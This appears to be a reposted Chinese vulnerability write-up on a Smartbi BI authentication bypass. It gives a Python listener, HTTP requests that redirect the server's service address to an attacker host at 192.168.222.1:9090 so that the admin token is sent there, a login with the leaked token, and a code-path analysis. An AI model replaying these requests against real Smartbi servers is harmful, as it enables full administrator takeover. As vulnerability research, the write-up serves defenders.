Smartbi_0728_特定情况下破解用户密码

admin 2023年11月8日18:40:38Smartbi_0728_特定情况下破解用户密码已关闭评论24 views字数 2576阅读8分35秒阅读模式

漏洞简介

Smartbi是一款商业智能应用,提供了数据集成、分析、可视化等功能,帮助用户理解和使用他们的数据进行决策。Smartbi 存在权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。获取管理员权限后,可进入后台实现任意命令执行。

Smartbi_0728_特定情况下破解用户密码

Smartbi_0728_特定情况下破解用户密码

漏洞复现

运行脚本,监听本地 9090 端口

```
import http.server
import socketserver

class MyHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# 获取GET请求的内容
request_content = self.path
print("GET请求内容:", request_content)

    # 返回响应
    self.send_response(200)
    self.send_header('Content-type', 'application/json')
    self.end_headers()
    self.wfile.write(b'{"result":true}')

def do_POST(self):
    # 获取POST请求的内容
    content_length = int(self.headers['Content-Length'])
    request_content = self.rfile.read(content_length).decode('utf-8')
    print("POST请求内容:", request_content)

    # 返回响应
    self.send_response(200)
    self.send_header('Content-type', 'application/json')
    self.end_headers()
    self.wfile.write(b'{"result":true}')

监听9090端口

with socketserver.TCPServer(("", 9090), MyHandler) as httpd:
print("正在监听9090端口...")
httpd.serve_forever()
```

Smartbi_0728_特定情况下破解用户密码

触发方式一_setServiceAddress

```
POST /smartbi/smartbix/api/monitor/setServiceAddress HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 25

http://192.168.222.1:9090
```

Smartbi_0728_特定情况下破解用户密码

查看配置信息是否被修改

```
POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 0

```

Smartbi_0728_特定情况下破解用户密码

触发漏洞

```
POST /smartbi/smartbix/api/monitor/token HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 7

service
```

Smartbi_0728_特定情况下破解用户密码

```
POST /smartbi/smartbix/api/monitor/login HTTP/1.1
Host: 192.168.222.133:18080
Connection: close
Content-Length: 47

admin_I40285e0501892f292f29241b018a2aac306d0696
```

Smartbi_0728_特定情况下破解用户密码

登录成功,后续利用返回的token 进行操作

触发方式二_setEngineAddress

Smartbi_0728_特定情况下破解用户密码

Smartbi_0728_特定情况下破解用户密码

Smartbi_0728_特定情况下破解用户密码

漏洞分析

通过具体的补丁类 RejectSmartbixSetAddress 快速定位漏洞位置 smartbix.datamining.service.MonitorService#getToken

禁用了 smartbix.datamining.service.MonitorService#getToken

smartbi.security.patch.impl.RejectSmartbixSetAddress#patch

Smartbi_0728_特定情况下破解用户密码
smartbix.datamining.service.MonitorService

Smartbi_0728_特定情况下破解用户密码

smartbix.datamining.service.MonitorService#getToken

Smartbi_0728_特定情况下破解用户密码

利用 String token = this.catalogService.getToken(10800000L); 生成 token

最后会 根据传入的 type 值不同发送给对应服务器

smartbix.datamining.service.EngineApi#postJsonEngine

Smartbi_0728_特定情况下破解用户密码
smartbix.datamining.util.miningurl.EngineUrl#getUrl

Smartbi_0728_特定情况下破解用户密码

smartbix.datamining.service.EngineApi#address

Smartbi_0728_特定情况下破解用户密码

experiment 对应的就是 engine-address ->ENGINE_ADDRESS

smartbix.datamining.service.EngineApi#postJsonService

Smartbi_0728_特定情况下破解用户密码
smartbix.datamining.util.miningurl.ServiceUrl#getUrl

Smartbi_0728_特定情况下破解用户密码
service 对应的就是 service-address ->SERVICE_ADDRESS

Smartbi_0728_特定情况下破解用户密码

如此一来已经确定了访问 接口 token 时,根据传入的参数不同,会将生成的 token 值 发送到对应的不同服务器上,只要想办法指定服务器的地址,并伪造返回请求即可

smartbix.datamining.service.MonitorService#setServiceAddress 设置 SERVICE_ADDRESS

Smartbi_0728_特定情况下破解用户密码

smartbix.datamining.service.MonitorService#setEngineAddress 设置 ENGINE_ADDRESS

Smartbi_0728_特定情况下破解用户密码

通过 smartbix.response.EntityResponseModel 查看修改后的信息

Smartbi_0728_特定情况下破解用户密码

通过 smartbix.datamining.service.MonitorService#loginByToken 登录获取 cookie

Smartbi_0728_特定情况下破解用户密码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月8日18:40:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Smartbi_0728_特定情况下破解用户密码https://cn-sec.com/archives/2187913.html